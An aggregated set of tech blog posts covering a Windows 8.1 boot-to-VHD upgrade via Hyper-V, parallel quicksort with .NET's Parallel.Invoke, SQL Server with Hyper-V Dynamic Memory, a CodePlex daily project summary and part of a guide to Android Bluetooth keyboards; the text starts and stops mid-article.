copy) Boot into the new Windows 8.1 option Reactivate Windows 8.1 (it will have become deactivated by running under Hyper-V) Remove the original Windows 8 VHD, and in Windows 7 use bcedit to remove it from the boot menu Things you’ll need A system that can run Hyper-V under Windows 8 (Intel i5, i7 class CPU) Enough space to have your original Windows 8 boot to VHD and a copy at the same time An ISO or DVD for Windows 8 to create a bootable Windows 8 partition Step by step guide Boot to your base o/s, the real one, Windows 7. Make a copy of the Windows 8 VHD file that you use to boot Windows 8 (via boot from VHD) – I copied it from a folder on C: called VHD-Win8 to VHD-Win8.1 on my N: drive. Reboot your system into Windows 8, and enable Hyper-V if not already present (this may require reboot) Use the Hyper-V manager , create a new Hyper-V machine, using half your system memory, and use the option to attach an existing VHD on the main IDE controller – this will be the new copy you made in Step 2. Start the virtual machine, use Connect to view it, and you’ll probably discover it cannot boot as there is no boot record If this is the case, go to Hyper-V manager, edit the Settings for the virtual machine to attach an ISO of a Windows 8 DVD to the second IDE controller. Start the virtual machine, use Connect to view it, and it should now attempt a fresh installation of Windows 8.  You should select Advanced Options and choose Repair - this will make VHD bootable When the setup reboots your virtual machine, turn off the virtual machine, and remove the ISO of the Windows 8 DVD from the virtual machine settings. Start virtual machine, use Connect to view it.  You will see the devices to be re-discovered (including your quad CPU becoming single CPU).  Eventually you should see the Windows Login screen. You may notice that your desktop background (Win+D) will have turned black as your Windows installation has become deactivate due to the hardware changes between your real PC and Hyper-V. Fortunately becoming deactivated, does not stop you using the Windows Store, where you can select the update to Windows 8.1. You can now watch the progress joy of the Windows 8 update; downloading, preparing to update, checking compatibility, gathering info, preparing to restart, and finally, confirm restart - remember that you are restarting your virtual machine sitting on the copy of the VHD, not the Windows 8 boot to VHD you are currently using to run Hyper-V (confused yet?) After the reboot you get the real upgrade messages; setting up x%, xx%, (quite slow) After a while, Getting ready Applying PC Settings x%, xx% (really slow) Updating your system (fast) Setting up a few more things x%, (quite slow) Getting ready, again Accept license terms Express settings Confirmed previous password Next, I had to set up a Microsoft account – which is possibly now required, and not optional Using the Microsoft account required a 2 factor authorization, via text message, a 7 digit code for me Finalising settings Blank screen, HI .. We're setting up things for you (similar to original Windows 8 install) 'You can get new apps from the Store', below which is ’Installing your apps’ - I had Windows Media Center which is counts as an app from the Store ‘Taking care of a few things’, below which is ‘Installing your apps’ ‘Taking care of a few things’, below ‘Don't turn off your PC’ ‘Getting your apps ready’, below ‘Don't turn off your PC’ ‘Almost ready’, below ‘Don't turn off your PC’ … finally, we get the Windows 8.1 start menu, and a quick Win+D to check the desktop confirmed all the application icons I expected, pinned items on the taskbar, and one app moaning about a missing drive At this point the upgrade is complete – you can shutdown the virtual machine Reboot from the original Windows 8 and return to Windows 7 to configure booting to the Windows 8.1 copy of the VHD In an administrator command prompt do following use the bcdedit tool (from an MSDN blog about configuring VHD to boot in Windows 7) Type bcedit to list the current boot options, so you can copy the GUID (complete with brackets/braces) for the original Windows 8 boot to VHD Create a new menu option, copy of the Windows 8 option; bcdedit /copy {originalguid} /d "Windows 8.1" Point the new Windows 8.1 option to the copy of the VHD; bcdedit /set {newguid} device vhd=[D:]\Image.vhd Point the new Windows 8.1 option to the copy of the VHD; bcdedit /set {newguid} osdevice vhd=[D:]\Image.vhd Set autodetection of the HAL (may already be set); bcdedit /set {newguid} detecthal on Reboot from Windows 7 and select the new option 'Windows 8.1' on the boot menu, and you’ll have some messages to look at, as your hardware is redetected (as you are back from 1 CPU to 4 CPUs) ‘Getting devices ready, blank then %xx, with occasional blank screen, for the graphics driver, (fast-ish) Getting Ready message (fast) You will have to suffer one final reboots, choose 'Windows 8.1' and you can now login to a lovely Windows 8.1 start screen running on non virtualized hardware via boot to VHD After checking everything is running fine, you can now choose to Activate Windows, which for me was a toll free phone call to the automated system where you type in lots of numbers to be given a whole bunch of new activation codes. Once you’re happy with your new Windows 8.1 boot to VHD, and no longer need the Windows 8 boot to VHD, feel free to delete the old one.  I do believe once you upgrade, you are no longer licensed to use it anyway. There, that was simple wasn’t it? Looking at the huge list of steps it took to perform this upgrade, you may wonder whether I think this is worth it.  Well, I think it is worth booting to VHD.  It makes backups a snap (go to Windows 7, copy the VHD, you backed up the o/s) and helps with disk management – want to move the o/s, you can move the VHD and repoint the boot menu to the new location. The downside is that Microsoft has complete neglected to support boot to VHD as an upgradable option.  Quite a poor decision in my opinion, and if you read twitter and the forums quite a few people agree with that view.  It’s a shame this got missed in the work on creating the upgrade packages for Windows 8.1.

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• Parallelism in .NET – Part 11, Divide and Conquer via Parallel.Invoke

  - by Reed

  Many algorithms are easily written to work via recursion.  For example, most data-oriented tasks where a tree of data must be processed are much more easily handled by starting at the root, and recursively “walking” the tree.  Some algorithms work this way on flat data structures, such as arrays, as well.  This is a form of divide and conquer: an algorithm design which is based around breaking up a set of work recursively, “dividing” the total work in each recursive step, and “conquering” the work when the remaining work is small enough to be solved easily. Recursive algorithms, especially ones based on a form of divide and conquer, are often a very good candidate for parallelization. This is apparent from a common sense standpoint.  Since we’re dividing up the total work in the algorithm, we have an obvious, built-in partitioning scheme.  Once partitioned, the data can be worked upon independently, so there is good, clean isolation of data. Implementing this type of algorithm is fairly simple.  The Parallel class in .NET 4 includes a method suited for this type of operation: Parallel.Invoke.  This method works by taking any number of delegates defined as an Action, and operating them all in parallel.  The method returns when every delegate has completed: Parallel.Invoke( () => { Console.WriteLine("Action 1 executing in thread {0}", Thread.CurrentThread.ManagedThreadId); }, () => { Console.WriteLine("Action 2 executing in thread {0}", Thread.CurrentThread.ManagedThreadId); }, () => { Console.WriteLine("Action 3 executing in thread {0}", Thread.CurrentThread.ManagedThreadId); } ); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Running this simple example demonstrates the ease of using this method.  For example, on my system, I get three separate thread IDs when running the above code.  By allowing any number of delegates to be executed directly, concurrently, the Parallel.Invoke method provides us an easy way to parallelize any algorithm based on divide and conquer.  We can divide our work in each step, and execute each task in parallel, recursively. For example, suppose we wanted to implement our own quicksort routine.  The quicksort algorithm can be designed based on divide and conquer.  In each iteration, we pick a pivot point, and use that to partition the total array.  We swap the elements around the pivot, then recursively sort the lists on each side of the pivot.  For example, let’s look at this simple, sequential implementation of quicksort: public static void QuickSort<T>(T[] array) where T : IComparable<T> { QuickSortInternal(array, 0, array.Length - 1); } private static void QuickSortInternal<T>(T[] array, int left, int right) where T : IComparable<T> { if (left >= right) { return; } SwapElements(array, left, (left + right) / 2); int last = left; for (int current = left + 1; current <= right; ++current) { if (array[current].CompareTo(array[left]) < 0) { ++last; SwapElements(array, last, current); } } SwapElements(array, left, last); QuickSortInternal(array, left, last - 1); QuickSortInternal(array, last + 1, right); } static void SwapElements<T>(T[] array, int i, int j) { T temp = array[i]; array[i] = array[j]; array[j] = temp; } Here, we implement the quicksort algorithm in a very common, divide and conquer approach.  Running this against the built-in Array.Sort routine shows that we get the exact same answers (although the framework’s sort routine is slightly faster).  On my system, for example, I can use framework’s sort to sort ten million random doubles in about 7.3s, and this implementation takes about 9.3s on average. Looking at this routine, though, there is a clear opportunity to parallelize.  At the end of QuickSortInternal, we recursively call into QuickSortInternal with each partition of the array after the pivot is chosen.  This can be rewritten to use Parallel.Invoke by simply changing it to: // Code above is unchanged... SwapElements(array, left, last); Parallel.Invoke( () => QuickSortInternal(array, left, last - 1), () => QuickSortInternal(array, last + 1, right) ); } This routine will now run in parallel.  When executing, we now see the CPU usage across all cores spike while it executes.  However, there is a significant problem here – by parallelizing this routine, we took it from an execution time of 9.3s to an execution time of approximately 14 seconds!  We’re using more resources as seen in the CPU usage, but the overall result is a dramatic slowdown in overall processing time. This occurs because parallelization adds overhead.  Each time we split this array, we spawn two new tasks to parallelize this algorithm!  This is far, far too many tasks for our cores to operate upon at a single time.  In effect, we’re “over-parallelizing” this routine.  This is a common problem when working with divide and conquer algorithms, and leads to an important observation: When parallelizing a recursive routine, take special care not to add more tasks than necessary to fully utilize your system. This can be done with a few different approaches, in this case.  Typically, the way to handle this is to stop parallelizing the routine at a certain point, and revert back to the serial approach.  Since the first few recursions will all still be parallelized, our “deeper” recursive tasks will be running in parallel, and can take full advantage of the machine.  This also dramatically reduces the overhead added by parallelizing, since we’re only adding overhead for the first few recursive calls.  There are two basic approaches we can take here.  The first approach would be to look at the total work size, and if it’s smaller than a specific threshold, revert to our serial implementation.  In this case, we could just check right-left, and if it’s under a threshold, call the methods directly instead of using Parallel.Invoke. The second approach is to track how “deep” in the “tree” we are currently at, and if we are below some number of levels, stop parallelizing.  This approach is a more general-purpose approach, since it works on routines which parse trees as well as routines working off of a single array, but may not work as well if a poor partitioning strategy is chosen or the tree is not balanced evenly. This can be written very easily.  If we pass a maxDepth parameter into our internal routine, we can restrict the amount of times we parallelize by changing the recursive call to: // Code above is unchanged... SwapElements(array, left, last); if (maxDepth < 1) { QuickSortInternal(array, left, last - 1, maxDepth); QuickSortInternal(array, last + 1, right, maxDepth); } else { --maxDepth; Parallel.Invoke( () => QuickSortInternal(array, left, last - 1, maxDepth), () => QuickSortInternal(array, last + 1, right, maxDepth)); } We no longer allow this to parallelize indefinitely – only to a specific depth, at which time we revert to a serial implementation.  By starting the routine with a maxDepth equal to Environment.ProcessorCount, we can restrict the total amount of parallel operations significantly, but still provide adequate work for each processing core. With this final change, my timings are much better.  On average, I get the following timings: Framework via Array.Sort: 7.3 seconds Serial Quicksort Implementation: 9.3 seconds Naive Parallel Implementation: 14 seconds Parallel Implementation Restricting Depth: 4.7 seconds Finally, we are now faster than the framework’s Array.Sort implementation.

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• SQL Server and Hyper-V Dynamic Memory - Part 1

  - by SQLOS Team

  SQL and Dynamic Memory Blog Post Series   Hyper-V Dynamic Memory is a new feature in Windows Server 2008 R2 SP1 that allows the memory assigned to guest virtual machines to vary according to demand. Using this feature with SQL Server is supported, but how well does it work in an environment where available memory can vary dynamically, especially since SQL Server likes memory, and is not very eager to let go of it? The next three posts will look at this question in detail. In Part 1 Serdar Sutay, a program manager in the Windows Hyper-V team, introduces Dynamic Memory with an overview of the basic architecture, configuration and monitoring concepts. In subsequent parts we will look at SQL Server memory handling, and develop some guidelines on using SQL Server with Dynamic Memory.   Part 1: Dynamic Memory Introduction   In virtualized environments memory is often the bottleneck for reaching higher VM densities. In Windows Server 2008 R2 SP1 Hyper-V introduced a new feature “Dynamic Memory” to improve VM densities on Hyper-V hosts. Dynamic Memory increases the memory utilization in virtualized environments by enabling VM memory to be changed dynamically when the VM is running.   This brings up the question of how to utilize this feature with SQL Server VMs as SQL Server performance is very sensitive to the memory being used. In the next three posts we’ll discuss the internals of Dynamic Memory, SQL Server Memory Management and how to use Dynamic Memory with SQL Server VMs.   Memory Utilization Efficiency in Virtualized Environments   The primary reason memory is usually the bottleneck for higher VM densities is that users tend to be generous when assigning memory to their VMs. Here are some memory sizing practices we’ve heard from customers:   ·         I assign 4 GB of memory to my VMs. I don’t know if all of it is being used by the applications but no one complains. ·         I take the minimum system requirements and add 50% more. ·         I go with the recommendations provided by my software vendor.   In reality correctly sizing a virtual machine requires significant effort to monitor the memory usage of the applications. Since this is not done in most environments, VMs are usually over-provisioned in terms of memory. In other words, a SQL Server VM that is assigned 4 GB of memory may not need to use 4 GB.   How does Dynamic Memory help?   Dynamic Memory improves the memory utilization by removing the requirement to determine the memory need for an application. Hyper-V determines the memory needed by applications in the VM by evaluating the memory usage information in the guest with Dynamic Memory. VMs can start with a small amount of memory and they can be assigned more memory dynamically based on the workload of applications running inside.   Overview of Dynamic Memory Concepts   ·         Startup Memory: Startup Memory is the starting amount of memory when Dynamic Memory is enabled for a VM. Dynamic Memory will make sure that this amount of memory is always assigned to the VMs by default.   ·         Maximum Memory: Maximum Memory specifies the maximum amount of memory that a VM can grow to with Dynamic Memory. ·         Memory Demand: Memory Demand is the amount determined by Dynamic Memory as the memory needed by the applications in the VM. In Windows Server 2008 R2 SP1, this is equal to the total amount of committed memory of the VM. ·         Memory Buffer: Memory Buffer is the amount of memory assigned to the VMs in addition to their memory demand to satisfy immediate memory requirements and file cache needs.   Once Dynamic Memory is enabled for a VM, it will start with the “Startup Memory”. After the boot process Dynamic Memory will determine the “Memory Demand” of the VM. Based on this memory demand it will determine the amount of “Memory Buffer” that needs to be assigned to the VM. Dynamic Memory will assign the total of “Memory Demand” and “Memory Buffer” to the VM as long as this value is less than “Maximum Memory” and as long as physical memory is available on the host.   What happens when there is not enough physical memory available on the host?   Once there is not enough physical memory on the host to satisfy VM needs, Dynamic Memory will assign less than needed amount of memory to the VMs based on their importance. A concept known as “Memory Weight” is used to determine how much VMs should be penalized based on their needed amount of memory. “Memory Weight” is a configuration setting on the VM. It can be configured to be higher for the VMs with high performance requirements. Under high memory pressure on the host, the “Memory Weight” of the VMs are evaluated in a relative manner and the VMs with lower relative “Memory Weight” will be penalized more than the ones with higher “Memory Weight”.   Dynamic Memory Configuration   Based on these concepts “Startup Memory”, “Maximum Memory”, “Memory Buffer” and “Memory Weight” can be configured as shown below in Windows Server 2008 R2 SP1 Hyper-V Manager. Memory Demand is automatically calculated by Dynamic Memory once VMs start running.     Dynamic Memory Monitoring    In Windows Server 2008 R2 SP1, Hyper-V Manager displays the memory status of VMs in the following three columns:         ·         Assigned Memory represents the current physical memory assigned to the VM. In regular conditions this will be equal to the sum of “Memory Demand” and “Memory Buffer” assigned to the VM. When there is not enough memory on the host, this value can go below the Memory Demand determined for the VM. ·         Memory Demand displays the current “Memory Demand” determined for the VM. ·         Memory Status displays the current memory status of the VM. This column can represent three values for a VM: o   OK: In this condition the VM is assigned the total of Memory Demand and Memory Buffer it needs. o   Low: In this condition the VM is assigned all the Memory Demand and a certain percentage of the Memory Buffer it needs. o   Warning: In this condition the VM is assigned a lower memory than its Memory Demand. When VMs are running in this condition, it’s likely that they will exhibit performance problems due to internal paging happening in the VM.    So far so good! But how does it work with SQL Server?   SQL Server is aggressive in terms of memory usage for good reasons. This raises the question: How do SQL Server and Dynamic Memory work together? To understand the full story, we’ll first need to understand how SQL Server Memory Management works. This will be covered in our second post in “SQL and Dynamic Memory” series. Meanwhile if you want to dive deeper into Dynamic Memory you can check the below posts from the Windows Virtualization Team Blog:   http://blogs.technet.com/virtualization/archive/2010/03/18/dynamic-memory-coming-to-hyper-v.aspx   http://blogs.technet.com/virtualization/archive/2010/03/25/dynamic-memory-coming-to-hyper-v-part-2.aspx   http://blogs.technet.com/virtualization/archive/2010/04/07/dynamic-memory-coming-to-hyper-v-part-3.aspx   http://blogs.technet.com/b/virtualization/archive/2010/04/21/dynamic-memory-coming-to-hyper-v-part-4.aspx   http://blogs.technet.com/b/virtualization/archive/2010/05/20/dynamic-memory-coming-to-hyper-v-part-5.aspx   http://blogs.technet.com/b/virtualization/archive/2010/07/12/dynamic-memory-coming-to-hyper-v-part-6.aspx   - Serdar Sutay   Originally posted at http://blogs.msdn.com/b/sqlosteam/

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• CodePlex Daily Summary for Tuesday, March 09, 2010

  CodePlex Daily Summary for Tuesday, March 09, 2010New Projects.NET Excel Wrapper - Read, Write, Edit & Automate Excel Files in .NET with ease: .NET Excel Wrapper encapsulates the complexity of working with multiple Excel objects giving you one central point to do all your processing. It h...Advancement Voyage: Advancement Voyage is a high quality RPG experience that provides all the advancement and voyaging that a player could hope for.ASP.Net Routing configuration: ASP.NET routing configuration enables you to configure the routes in the web.config bbinjest: bbinjestBuildUp: BuildUp is a build number increment tool for C# .net projects. It is run as a post build step in Visual Studio.Controlled Vocabulary: This project is devoted to creating tools to assist with Controlling Vocabulary in communication. The initial delivery is an Outlook 2010 Add-in w...CycleList: A replacement for the WPF ListBox Control. Displays only a single item and allows the user to change the selected item by clicking on it once. Very...Forensic Suite: A suite of security softwareFREE DNN Chat Module for 123 Flash Chat -- Embed FREE Chat Room!: 123 Flash Chat is a live chat solution and its DotNetNuke Chat Module helps to embed a live chat room into website with DotNetNuke(DNN) integrated ...HouseFly experimental controls: Experimental controls for use in HouseFly.ICatalogAll: junkMidiStylus: MidiStylus allows you to control MIDI-enabled hardware or software using your pressure-sensitive pen tablet. The program maps the X position, Y po...myTunes: Search for your favorite artistsNColony - Pluggable Socialism?: NColony will maximize the use of MEF to create flexible application architectures through a suite of plug-in solutions. If MEF is an outlet for plu...Network Monitor Decryption Expert: NmDecrypt is a Network Monitor Expert which when given a trace with encrypted frames, a security certificate, and a passkey will create a new trace...occulo: occulo is a free steganography program, meant to embed files within images with optional encrytion. Open Ant: A implementation of a Open Source Ant which is created to show what is possible in the serious game AntMe! The First implementation of that ProjectProgramming Patterns by example: Design patterns provide solutions to common software design problems. This project will contain samples, written in c# and ruby, of each design pat...project4k: Developing bulk mail system storing email informationQuail - Selenium Remote Control Made Easy: Quail makes it easy for Quality Assurance departments write automated tests against web applications. Both HTML and Silverlight applications can b...RedBulb for XNA Framework: RedBulb is a collection of utility functions and classes that make writing games with XNA a lot easier. Key features: Console,GUI (Labels, Buttons,...RegExpress: RegExpress is a WPF application that combines interactive demos of regular expressions with slide content. This was designed for a user group prese...RemoveFolder: Small utility program to remove empty foldersScrumTFS: ScrumTFSSharePoint - Open internal link in new window list definition: A simple SharePoint list definition to render SharePoint internal links with the option to open them in a new window.SqlSiteMap4MVC: SqlSiteMapProvider for ASP.Net MVC.T Sina .NET Client: t.sina.com.cn api 新浪微博APITest-Lint-Extensions: Test Lint is a free Typemock VS 2010 Extension that finds common problems in your unit tests as you type them. this project will host extensions ...ThinkGearNET: ThinkGearNET is a library for easy usage of the Neurosky Mindset headset from .NET .Wiki to Maml: This project enables you to write wiki syntax and have it converted into MAML syntax for Sandcastle documentation projects.WPF Undo/Redo Framework: This project attempts to solve the age-old programmer problem of supporting unlimited undo/redo in an application, in an easily reusable manner. Th...WPFValidators: WPF Validators Validações de campos para WPFWSP Listener: The WSP listener is a windows service application which waits for new WSC and WSP files in a specific folder. If a new WSC and WSP file are added, ...New Releases.NET Excel Wrapper - Read, Write, Edit & Automate Excel Files in .NET with ease: First Release: This is the first release which includes the main library release..NET Excel Wrapper - Read, Write, Edit & Automate Excel Files in .NET with ease: Updated Version: New Features:SetRangeValue using multidimensional array Print current worksheet Print all worksheets Format ranges background, color, alig...ArkSwitch: ArkSwitch v1.1.2: This release removes all memory reporting information, and is focused on stability.BattLineSvc: V2.1: - Fixed a bug where on system start-up, it would pop up a notification box to let you know the service started. Annoying! And fixed! - Fixed the ...BuildUp: BuildUp 1.0 Alpha 1: Use at your own risk!Not yet feature complete. Basic build incrementing and attribute overriding works. Still working on cascading build incremen...Controlled Vocabulary: 1.0.0.1: Initial Alpha Release. System Requirements Outlook 2010 .Net Framework 3.5 Installation 1. Close Outlook (Use Task Manager to ensure no running i...CycleList: CycleList: The binaries contain the .NET 3.5 DLL ONLY. Please download source for usage examples.FluentNHibernate.Search: 0.3 Beta: 0.3 Beta take the following changes : Mappings : - Field Mapping without specifying "Name" - Id Mapping without specifiying "Field" - Builtin Anal...FREE DNN Chat Module for 123 Flash Chat -- Embed FREE Chat Room!: 123 Flash Chat DNN Chat Module: With FREE DotNetNuke Chat Module of 123 Flash Chat, webmaster will be assist to add a chat room into DotNetNuke instantly and help to attract more ...GameStore League Manager: League Manager 1.0 release 3: This release includes a full installer so that you can get your league running faster and generate interest quicker.iExporter - iTunes playlist exporting: iExporter gui v2.3.1.0 - console v1.2.1.0: Paypal donate! Solved a big bug for iExporter ( Gui & Console ) When a track isn't located under the main iTunes library, iExporter would crash! ...jQuery.cssLess: jQuery.cssLess 0.3: New - Removed the dependency from XRegExp - Added comment support (both CSS style and C style) - Optimised it for speed - Added speed test TOD...jQuery.cssLess: jQuery.cssLess 0.4: NEW - @import directive - preserving of comments in the resulting CSS - code refactoring - more class oriented approach TODO - implement operation...MapWindow GIS: MapWindow 6.0 msi (March 8): Rewrote the shapefile saving code in the indexed case so that it uses the shape indices rather than trying to create features. This should allow s...MidiStylus: MidiStylus 0.5.1: MidiStylus Beta 0.5.1 This release contains basic functionality for transmitting MIDI data based on X position, Y position, and pressure value rea...MiniTwitter: 1.09.1: MiniTwitter 1.09.1 更新内容 修正 URL に & が含まれている時に短縮 URL がおかしくなるバグを修正Mosaictor: first executable: .exe file of the app in its current state. Mind you that this will likely be highly unstable due to heaps of uncaught errors.MvcContrib a Codeplex Foundation project: T4MVC: T4MVC is a T4 template that generates strongly typed helpers for ASP.NET MVC. You can download it below, and check out the documention here.N2 CMS: 2.0 beta: Major Changes ASP.NET MVC 2 templates Refreshed management UI LINQ support Performance improvements Auto image resize Upgrade Make a comp...NotesForGallery: ASP.NET AJAX Photo Gallery Control: NotesForGallery 2.0: PresentationNotesForGallery is an open source control on top of the Microsoft ASP.NET AJAX framework for easy displaying image galleries in the as...occulo: occulo 0.1 binaries: Windows binaries. Tested on Windows XP SP2.occulo: occulo 0.1 source: Initial source release.Open NFe: DANFE 1.9.5: Ajuste de layout e correção dos campos de ISS.patterns & practices Web Client Developer Guidance: Web Application Guidance -- March 8th Drop: This iteration we focused on documentation and bug fixes.PoshConsole: PoshConsole 2.0 Beta: With this release, I am refocusing PoshConsole... It will be a PowerShell 2 host, without support for PowerShell 1.0 I have used some of the new P...Quick Performance Monitor: QPerfmon 1.1: Now you can specify different updating frequencies.RedBulb for XNA Framework: Cipher Puzzle (Sample) Creators Club Package: RedBulb Sample Game: Cipher Puzzle http://bayimg.com/image/galgfaacb.jpgRedBulb for XNA Framework: RedBulbStarter (Base Code): This is the code you need to start with. Quick Start Guide: Download the latest version of RedBulb: http://redbulb.codeplex.com/releases/view/415...RoTwee: RoTwee 7.0.0.0 (Alpha): Now this version is under improvement of code structure and may be buggy. However movement of rotation is quite good in this version thanks to clea...SCSI Interface for Multimedia and Block Devices: Release 9 - Improvements and Bug Fixes: Changes I have made in this version: Fixed INQUIRY command timeout problem Lowered ISOBurn's memory usage significantly by not explicitly setting...SharePoint - Open internal link in new window list definition: Open link in new window list definition: First release, with english and italian localization supportSharePoint Outlook Connector: Version 1.2.3.2: Few bug fixing and some ui enhancementsSysI: sysi, release build: Better than ever -- now allows for escalation to adminThe Silverlight Hyper Video Player [http://slhvp.com]: Beta 1: Beta (1.1) The code is ready for intensive testing. I will update the code at least every second day until we are ready to freeze for V1, which wi...Truecrafting: Truecrafting 0.52: fixed several trinkets that broke just before i released 0.51, sorry fixed water elemental not doing anything while summoned if not using glyph o...Truecrafting: Truecrafting 0.53: fixed mp5 calculations when gear contained mp5 and made the formulas more efficient no need to rebuild profiles with this release if placed in th...umbracoSamplePackageCreator (beta): Working Beta: For Visual Studio 2008 creating packages for Umbraco 4.0.3.VCC: Latest build, v2.1.30307.0: Automatic drop of latest buildVCC: Latest build, v2.1.30308.0: Automatic drop of latest buildVOB2MKV: vob2mkv-1.0.3: This is a maintenance update of the VOB2MKV utility. The MKVMUX filter now describes the cluster locations using a separate SeekHead element at th...WPFValidators: WPFValidators 1.0 Beta: Primeira versão do componente ainda em Beta, pode ser utilizada em produção pois esta funcionando bem e as futuras alterações não sofreram muito im...WSDLGenerator: WSDLGenerator 0.0.06: - Added option to generate SharePoint compatible *disco.aspx file. - Changed commandline optionsWSP Listener: WSP Listener version 1.0.0.0: First version of the WSP Listener includes: Easy cop[y paste installation of WSP solutions Extended logging E-mail when installation is finish...Yet another pali text reader: Pali Text Reader App v1.1: new features/updates + search history is now a tab + format codes in dictionary + add/edit terms in the dictionary + pali keyboard inserts symbols...Most Popular ProjectsMetaSharpi4o - Indexed LINQResExBraintree Client LibraryGeek's LibrarySharepoint Feature ManagerConfiguration ManagementOragon Architecture SqlBuilderTerrain Independant Navigating Automaton v2.0WBFS ManagerMost Active ProjectsUmbraco CMSRawrSDS: Scientific DataSet library and toolsBlogEngine.NETjQuery Library for SharePoint Web ServicesFasterflect - A Fast and Simple Reflection APIFarseer Physics Enginepatterns & practices – Enterprise LibraryTeam FTW - Software ProjectIonics Isapi Rewrite Filter

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• The HTG Guide to Using a Bluetooth Keyboard with Your Android Device

  - by Matt Klein

  Android devices aren’t usually associated with physical keyboards. But, since Google is now bundling their QuickOffice app with the newly-released Kit-Kat, it appears inevitable that at least some Android tablets (particularly 10-inch models) will take on more productivity roles. In recent years, physical keyboards have been rendered obsolete by swipe style input methods such as Swype and Google Keyboard. Physical keyboards tend to make phones thick and plump, and that won’t fly today when thin (and even flexible and curved) is in vogue. So, you’ll be hard-pressed to find smartphone manufacturers launching new models with physical keyboards, thus rendering sliders to a past chapter in mobile phone evolution. It makes sense to ditch the clunky keyboard phone in favor of a lighter, thinner model. You’re going to carry around in your pocket or purse all day, why have that extra bulk and weight? That said, there is sound logic behind pairing tablets with keyboards. Microsoft continues to plod forward with its Surface models, and while critics continue to lavish praise on the iPad, its functionality is obviously enhanced and extended when you add a physical keyboard. Apple even has an entire page devoted specifically to iPad-compatible keyboards. But an Android tablet and a keyboard? Does such a thing even exist? They do actually. There are docking keyboards and keyboard/case combinations, there’s the Asus Transformer family, Logitech markets a Windows 8 keyboard that speaks “Android”, and these are just to name a few. So we know that keyboard products that are designed to work with Android exist, but what about an everyday Bluetooth keyboard you might use with Windows or OS X? How-To Geek wanted look at how viable it is to use such a keyboard with Android. We conducted some research and examined some lists of Android keyboard shortcuts. Most of what we found was long outdated. Many of the shortcuts don’t even apply anymore, while others just didn’t work. Regardless, after a little experimentation and a dash of customization, it turns out using a keyboard with Android is kind of fun, and who knows, maybe it will catch on. Setting things up Setting up a Bluetooth keyboard with Android is very easy. First, you’ll need a Bluetooth keyboard and of course an Android device, preferably running version 4.1 (Jelly Bean) or higher. For our test, we paired a second-generation Google Nexus 7 running Android 4.3 with a Samsung Series 7 keyboard. In Android, enable Bluetooth if it isn’t already on. We’d like to note that if you don’t normally use Bluetooth accessories and peripherals with your Android device (or any device really), it’s best practice to leave Bluetooth off because, like GPS, it drains the device’s battery more quickly. To enable Bluetooth, simply go to “Settings” -> “Bluetooth” and tap the slider button to “On”. To set up the keyboard, make sure it is on and then tap “Bluetooth” in the Android settings. On the resulting screen, your Android device should automatically search for and hopefully find your keyboard. If you don’t get it right the first time, simply turn the keyboard on again and then tap “Search for Devices” to try again. If it still doesn’t work, make sure you have fresh batteries and the keyboard isn’t paired to another device. If it is, you will need to unpair it before it will work with your Android device (consult your keyboard manufacturer’s documentation or Google if you don’t know how to do this). When Android finds your keyboard, select it under “Available Devices” … … and you should be prompted to type in a code: If successful, you will see that device is now “Connected” and you’re ready to go. If you want to test things out, try pressing the “Windows” key (“Apple” or “Command”) + ESC, and you will be whisked to your Home screen. So, what can you do? Traditional Mac and Windows users know there’s usually a keyboard shortcut for just about everything (and if there isn’t, there’s all kinds of ways to remap keys to do a variety of commands, tasks, and functions). So where does Android fall in terms of baked-in keyboard commands? There answer to that is kind of enough, but not too much. There are definitely established combos you can use to get around, but they aren’t clear and there doesn’t appear to be any one authority on what they are. Still, there is enough keyboard functionality in Android to make it a viable option, if only for those times when you need to get something done (long e-mail or important document) and an on-screen keyboard simply won’t do. It’s important to remember that Android is, and likely always will be a touch-first interface. That said, it does make some concessions to physical keyboards. In other words, you can get around Android fairly well without having to lift your hands off the keys, but you will still have to tap the screen regularly, unless you add a mouse. For example, you can wake your device by tapping a key rather than pressing its power button. However, if your device is slide or pattern-locked, then you’ll have to use the touchscreen to unlock it – a password or PIN however, works seamlessly with a keyboard – other things like widgets and app controls and features, have to be tapped. You get the idea. Keyboard shortcuts and navigation As we said, baked-in keyboard shortcut combos aren’t necessarily abundant nor apparent. The one thing you can always do is search. Any time you want to Google something, start typing from the Home screen and the search screen will automatically open and begin displaying results. Other than that, here is what we were able to figure out: ESC = go back CTRL + ESC = menu CTRL + ALT + DEL = restart (no questions asked) ALT + SPACE = search page (say “OK Google” to voice search) ALT + TAB (ALT + SHIFT + TAB) = switch tasks Also, if you have designated volume function keys, those will probably work too. There’s also some dedicated app shortcuts like calculator, Gmail, and a few others: CMD + A = calculator CMD + C = contacts CMD + E = e-mail CMD + G = Gmail CMD + L = Calendar CMD + P = Play Music CMD + Y = YouTube Overall, it’s not a long comprehensive list and there’s no dedicated keyboard combos for the full array of Google’s products. Granted, it’s hard to imagine getting a lot of mileage out of a keyboard with Maps but with something like Keep, you could type out long, detailed lists on your tablet, and then view them on your smartphone when you go out shopping. You can also use the arrow keys to navigate your Home screen over shortcuts and open the app drawer. When something on the screen is selected, it will be highlighted in blue. Press “Enter” to open your selection. Additionally, if an app has its own set of shortcuts, e.g. Gmail has quite a few unique shortcuts to it, as does Chrome, some – though not many – will work in Android (not for YouTube though). Also, many “universal” shortcuts such as Copy (CTRL + C), Cut (CTRL + X), Paste (CTRL + V), and Select All (CTRL + A) work where needed – such as in instant messaging, e-mail, social media apps, etc. Creating custom application shortcuts What about custom shortcuts? When we were researching this article, we were under the impression that it was possible to assign keyboard combinations to specific apps, such as you could do on older Android versions such as Gingerbread. This no long seems to be the case and nowhere in “Settings” could we find a way to assign hotkey combos to any of our favorite, oft-used apps or functions. If you do want custom keyboard shortcuts, what can you do? Luckily, there’s an app on Google Play that allows you to, among other things, create custom app shortcuts. It is called External Keyboard Helper (EKH) and while there is a free demo version, the pay version is only a few bucks. We decided to give EKH a whirl and through a little experimentation and finally reading the developer’s how-to, we found we could map custom keyboard combos to just about anything. To do this, first open the application and you’ll see the main app screen. Don’t worry about choosing a custom layout or anything like that, you want to go straight to the “Advanced settings”: In the “Advanced 